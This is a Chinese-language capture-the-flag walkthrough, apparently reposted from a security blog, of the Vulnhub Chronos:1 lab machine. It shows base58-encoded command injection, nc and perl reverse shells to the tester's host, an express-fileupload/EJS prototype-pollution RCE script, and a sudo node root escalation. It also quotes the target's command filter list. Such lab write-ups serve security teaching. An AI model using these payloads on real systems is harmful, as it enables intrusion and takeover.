Vulnhub Chronos-1

admin 2023年10月27日01:56:17评论17 views字数 5879阅读19分35秒阅读模式
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 靶机介绍

  • Name: Chronos: 1

  • Date release: 9 Aug 2021

  • Author: AL1ENUM

  • Series: Chronos

  • Difficulty : medium

靶机下载地址:

https://www.vulnhub.com/entry/chronos-1,735/

0x02 侦察

端口探测
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.106 -oA nmap_chronos

Vulnhub Chronos-1

扫描结果显示目标开放了22、80和8000端口
80端口
访问http://192.168.0.106界面如下

Vulnhub Chronos-1

访问http://192.168.0.106:8000界面如下

Vulnhub Chronos-1

目录扫描
使用 gobuster 分别对两个站点进行目录扫描,成功在8000端口下找到date目录
gobuster dir -u http://192.168.0.106 -w /usr/share/wordlists/dirb/big.txt -x phpgobuster dir -u http://192.168.0.106:8000 -w /usr/share/wordlists/dirb/big.txt -x php

Vulnhub Chronos-1

0x03 上线【WWW.data】

信息收集
查看80端口的源代码发现 JavaScript 代码

Vulnhub Chronos-1

源代码如下,可以借助Cyberchef进行美化,在其中找到网址为
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
var _0x5bdf = ['150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM', '10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg', '797116soVTES', 'onreadystatechange', 'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL', 'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS', 'getElementById', 'innerHTML', 'date'];(function (_0x506b95, _0x817e36) {    var _0x244260 = _0x432d;    while (!![]) {        try {            var _0x35824b = -parseInt(_0x244260(0x7e)) * parseInt(_0x244260(0x90)) + parseInt(_0x244260(0x8e)) + parseInt(_0x244260(0x7f)) * parseInt(_0x244260(0x83)) + -parseInt(_0x244260(0x87)) + -parseInt(_0x244260(0x82)) * parseInt(_0x244260(0x8d)) + -parseInt(_0x244260(0x88)) + parseInt(_0x244260(0x80)) * parseInt(_0x244260(0x84));            if (_0x35824b === _0x817e36) break;            else _0x506b95['push'](_0x506b95['shift']());        } catch (_0x3fb1dc) {            _0x506b95['push'](_0x506b95['shift']());        }    }}(_0x5bdf, 0xcaf1e));
function _0x432d(_0x16bd66, _0x33ffa9) { return _0x432d = function (_0x5bdf82, _0x432dc8) { _0x5bdf82 = _0x5bdf82 - 0x7e; var _0x4da6e8 = _0x5bdf[_0x5bdf82]; return _0x4da6e8; }, _0x432d(_0x16bd66, _0x33ffa9);}
function loadDoc() { var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(0x8f), _0x2beb35 = new XMLHttpRequest(); _0x2beb35[_0x17df92(0x89)] = function () { var _0x146f5d = _0x17df92; this[_0x146f5d(0x85)] == 0x4 && this[_0x146f5d(0x8c)] == 0xc8 && (document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)] = this[_0x146f5d(0x86)]); }, _0x2beb35[_0x17df92(0x81)]('GET', _0x17df92(0x8a), !![]), _0x2beb35['setRequestHeader'](_0x17df92(0x8b), _0x1cff55), _0x2beb35['send']();}

在本地修改域名解析

vim /etc/hosts# 配置192.168.0.106 chronos.local

Vulnhub Chronos-1

Vulnhub Chronos-1

利用 CyberChef 解码

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,通过 Base58 解码为'+Today is %A, %B %d, %Y %H:%M:%S.'

Vulnhub Chronos-1

配合 date 命令成功转换,在此处可能存在命令执行

Vulnhub Chronos-1

命令执行
使用 BurpSuite 抓包修改命令

Vulnhub Chronos-1

经测试发现以下符号可以在date后执行

; | & &&

选择;符号经 base58 编码执行命令,命令执行成功

;ls#base58编码后Lxfc

Vulnhub Chronos-1

但执行 whoami 命令则提示报错,说明该命令被过滤

Vulnhub Chronos-1

查看/bin目录下文件,成功发现bash、nc、netcat、perl

;ls /bin/#编码后AwV43iiVT6M

Vulnhub Chronos-1

nc反弹shell
在本地上监听5555和6666端口
nc -nvlp 5555nc -nvlp 6666

由于 nc 没有-e参数,因此就需要开启两个nc,第一个nc作为输入口,第二个nc作为输出口

;nc 192.168.0.107 5555 | /bin/bash | nc 192.168.0.107 6666#编码后YMbm2Ph6yCH4ARYAKXLRZsvbVsx9SDRcyY7aenyYrhN1ZFW3z2JQ9RyL279DNyY9iunhprxRftZhS1K

Vulnhub Chronos-1

成功拿到反弹shell
perl反弹shell
在网站上找到 perl 反弹shell命令并进行编码

参考地址:

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
;perl -e 'use Socket;$i="192.168.0.107";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'#编码后36XPmnAxYmYfBgAwvweNZ1cbPjxJiupGFJPVmbURWFdCnYzb4m9PPtjMPLAtAfgWgnoRa9kWNNJYMQmHXYjL12W3pn6C9YMhL458mxbQoiQRAfvkXKV5q9gTW9JVQp5YsBjFduuiKuJtVDSMS76uyQTaZcPAFtTS8xwg6pY7CnYmqYMeyXRC5xkQVQwKmVteMo51wYn3RPq8QzjgCjA94ZiZtz8jUF1xeiLX1nd5NeN78MP43mfQLax1beRRFDprPYmC49gi2NcNzLaAU4K4rVh9rLR2MpyVKp1JrvvM6cN3F2cYn

在本地监听1234端口

nc -nvlp 1234

成功拿到反弹shell,查看user.txt但提示无权限

python3 -c 'import pty;pty.spawn("/bin/bash")'

Vulnhub Chronos-1

0x04 权限提升【imera】

信息收集
进入/opt/chronos目录并在app.js中发现代码中过滤了许多命令,如id、whoami、php等
if (agent === 'Chronos') {        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong"); } exec(concat, (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } res.send(stdout); }); }

同时发现/opt目录下还存在chronos-v2目录,经搜索发现其下backend目录下存在server.js

Vulnhub Chronos-1

const express = require('express');const fileupload = require("express-fileupload");const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true}));
app.set('view engine', 'ejs');app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => { res.render('index')});
const server = http.Server(app);const addr = "127.0.0.1"const port = 8080;server.listen(port, addr, () => { console.log('Server listening on ' + addr + ' port ' + port);});

经代码分析可知其在本地侦听8080端口,呈现索引文件/opt/chronos-v2/frontend/pages,调用模块express和express-fileupload。在谷歌中搜索相关漏洞,成功发现远程代码执行漏洞

node express-fileupload exploit

Vulnhub Chronos-1

RCE
访问存在漏洞地址
https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325
发现EXP,替换IP和端口后代码如下
############################################################### Run this .py to perform EJS-RCE attack# referenced from# https://blog.p6.is/Real-World-JS-1/# # Timothy, 10 November 2020##############################################################
### importsimport requests
### commands to run on victim machinecmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.107/7777 0>&1"'
print("Starting Attack...")### polluterequests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
### execute commandrequests.get('http://127.0.0.1:8080')print("Finished!")

在本地开启 http 服务

python -m SimpleHTTPServer 80

Vulnhub Chronos-1

进入/tmp目录下通过 wget 命令下载exploit.py并执行

cd /tmpwget http://192.168.0.107/exploit.pypython3 exploit.py

Vulnhub Chronos-1

在本地监听7777端口,成功拿到反弹shell

nc -nvlp 7777

在当前用户家目录下拿到第一个flag

cat user.txt

Vulnhub Chronos-1

0x05 权限提升【ROOT】

信息收集
通过 sudo 命令查看当前用户特权,在以管理员身份执行 npm 和 node 时无需密码
sudo -l

Vulnhub Chronos-1

sudo 提权

Vulnhub Chronos-1

利用 node 执行 sudo 命令提权,成功提权为root

sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

在家目录下成功拿到第二个flag

cat root.txt

Vulnhub Chronos-1

0x06 知识星球

Vulnhub Chronos-1

原文始发于微信公众号(狐狸说安全):Vulnhub Chronos-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月27日01:56:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub Chronos-1http://cn-sec.com/archives/2147705.html

发表评论

匿名网友 填写信息